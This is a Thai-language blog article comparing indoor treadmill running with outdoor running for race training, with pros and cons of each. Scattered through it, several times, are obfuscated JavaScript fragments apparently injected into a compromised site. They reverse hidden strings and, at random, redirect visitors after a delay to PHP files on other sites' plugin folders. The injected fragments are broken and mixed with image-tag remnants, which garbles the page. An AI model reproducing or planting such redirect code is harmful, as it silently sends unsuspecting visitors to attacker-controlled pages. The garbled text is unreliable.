แบบไหนดีกว่ากัน เมื่อคุณต้องฝึกซ้อมวิ่งเพื่อลงงานวิ่งแข่งขัน วิ่งบนลู่ (Treadmill) ถนอมข้อเข่าในยิมแบบ Indoor หรือวิ่งสะสมไมล์และสัมผัสอากาศข้างนอกตามสวนสาธารณะแบบ Outdoor แต่ไม่คุณจะเลือกอย่างไหน การวิ่งเป็นการออกกำลังกายแบบคาร์ดิโอที่ดี การวิ่งจะช่วยกระตุ้นมัดกล้ามเนื้อให้ทำงาน ให้หัวใจได้เต้นแรงและเผาผลาญแคลอรี่
ข้อดีข้อเสียของการฝึกวิ่ง Indoor & Outdoor
ข้อดีของการวิ่งอออกกำลังกายแบบIndoor
ถ้าวันไหนที่ฟ้าฝนไม่เป็นใจ การวิ่งออกกำลังกายในโรงยิมคือคำตอบ ข้อดีอื่นๆ ที่ไม่เกี่ยวกับการฝึกก็อย่างเช่น การได้มีโอกาสพบปะผู้คนและเพื่อนใหม่ๆ ในยิมสามารถทำได้ง่าย เพราะมีพื้นที่จำกัด ทุกคนได้อยู่ใกล้ชิดมากขึ้น
1. ควบคุมสภาพแวดล้อมได้ 100% ไม่ว่าจะเป็นระดับความชัน Pace และความเร็ว รวมไปถึงการฝึก Interval ทำให้เราได้ประสิทธิภาพของการฝึกตามแผนเต็มร้อย
2. สภาพอุณหภูมิเหมาะกับการออกกำลังกาย ไม่ร้อนไม่หนาวเกินไป ทำให้มีความสบายตัวในการออกกำลังกาย ในวันที่มีฝนหรือร้อนเกินไปก็สามารถใช้ห้องยิมฝึกวิ่ง Indoor ได้
3. ช่วยลดแรงกระแทกต่อข้อเข่า การวิ่งบนลู่วิ่งทำให้แรงกระแทกลดลงและรอบขาจะเร็วนิดหน่อยเมื่อเทียบกับการวิ่ง Outdoor
4. ไม่มีสิ่งเร้าและสิ่งรบกวนใจ ไม่มีการวิ่งหลบสิ่งกีดขว้าง ไม่มีการต้องวิ่งหลบรถและหยุดรอไฟแดง หรือเพื่อนๆ นักวิ่งที่วิ่งสวนหรือแซงไปมา ทำให้ระดับความเร็วของ Pace คงที่ ไม่มีการแกว่งของ pace ขณะวิ่ง ช่วยลดโอกาสการบาดเจ็บลงได้
5. ฝึกกินระหว่างวิ่งทำได้ง่ายขึ้น เพียงแค่ปรับความเร็วลงแล้วค่อยๆ จิบน้ำและเคี้ยวอาหาร
{if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])==)
to-1540558870477-e8c59bf88421?ixlib=rb-1.2.1&auto=format&fit=crop&w=1050&q=80″ alt=””/>ข้อเสียขอการวิ่งแบบ Indoor
การวิ่งแบบ Indoor ให้ความรู้สึกที่ยาวนานกว่าการวิ่ง Outdoor ดังนั้นใครที่ชอบวิ่งเพื่อฆ่าเวลา คุณจะรู้สึกเบื่อได้ง่ายเวลาวิ่งในยิม
ท่าวิ่งจะแตกต่างจากการวิ่ง outdoor เพราะการวิ่งบนลู่วิ่ง สายพานจะเคลื่นที่บังคับให้เราเคลื่อนไหวตาม เอวจะเปิดมากขึ้น การลงเท้าจะเบา แต่เวลาวิ่ง outdoor เราต้องเจอกับแรงต้านของอากาศและแรงเสียดทาน ช่วง Stride จะสั้นกว่าการวิ่งบนลู่วิ่ง
ระบบประสาทกล้ามเนื้อและกล้ามเนื้อไม่ทำงานหนักเหมือนวิ่งอยู่ข้างนอก ระบบการปรับสมดุลกล้ามเนื้อซีกซ้ายและขวาไม่ทำงานหนักเหมือนวิ่ง Outdoor รวมไปถึงกล้ามเนื้อช่วงล่างและข้อเท้า เช่นกัน
ข้อดีของการวิ่ง Outdoor
1. หลังจากนั่งทำงานในออฟฟิศตั้งวัน การได้ออกวิ่ง Outdoor ได้สัมผัสอากาศข้างนอกจะช่วยผ่อนคลายสมองและให้รีชาร์จพลังงานใหม่
2. การวิ่งตอนเช้าและวิ่งรับแสงแดดอ่อนๆ จะช่วยให้ร่างกายได้สังเคราะห์วิตามินดี ช่วยกระตุ้นการสร้างระบบภูมิคุ้มกัน
3. การวิ่ง Outdoor ทำให้ร่างกายได้สัมผัสพื้นผิวถนนที่แต่ต่างกัน ทำให้ร่างกายได้ฝึกการเคลื่อนไหว กลุ่มมัดกล้ามเนื้อได้ถูกใช้งานและมีความแข็งแรงขึ้นทำให้โอกาสการเกิดอาการบาดเจ็บลดลง
4. ได้ความรู้สึกการวิ่งที่เสมือนการวิ่งแข่งขันจริง ที่สถานการณ์มีการเปลี่ยนแปลงตลอดเวลา เราต้องเรียนรู้ที่จะปรับลดเพิ่ม pace ได้เสมอ
{if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])==)
to-1556746834-cbb4a38ee593?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=1052&q=80″ alt=””/>ข้อเสียของการวิ่ง Outdoor
ข้อเสียที่เห็นได้ชัดก็อย่างเช่น การวิ่ง Outdoor ต้องขึ้นอยู่กับสภาพอากาศ โอกาสการเกิดอุบัติเหตุและบาดเจ็บเกิดขึ้นได้ง่าย เพราะสภาพแวดล้อมไม่อยู่ในการควบคุมของเรา จงมีสติมากขึ้นเวลาวิ่ง Outdoor
ท้ายนี้ถ้าจะปรับให้ Indoor ให้ใกล้เคียงกับการวิ่ง Outdoor ก็อย่างเช่น การปรับความชันให้สูงขึ้นกว่าปกติ 1-2 ดีกรี วิ่งให้ Stride สั้นลง จัดระเบียบร่างกายอยู่ตลอดเวลาและซอยเท้าถี่มากขึ้น
อ้างอิง www.runtastic.com
{if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script>tobias-seidl-ITSpeNIooOU-unsplash-1-75x75.jpg)
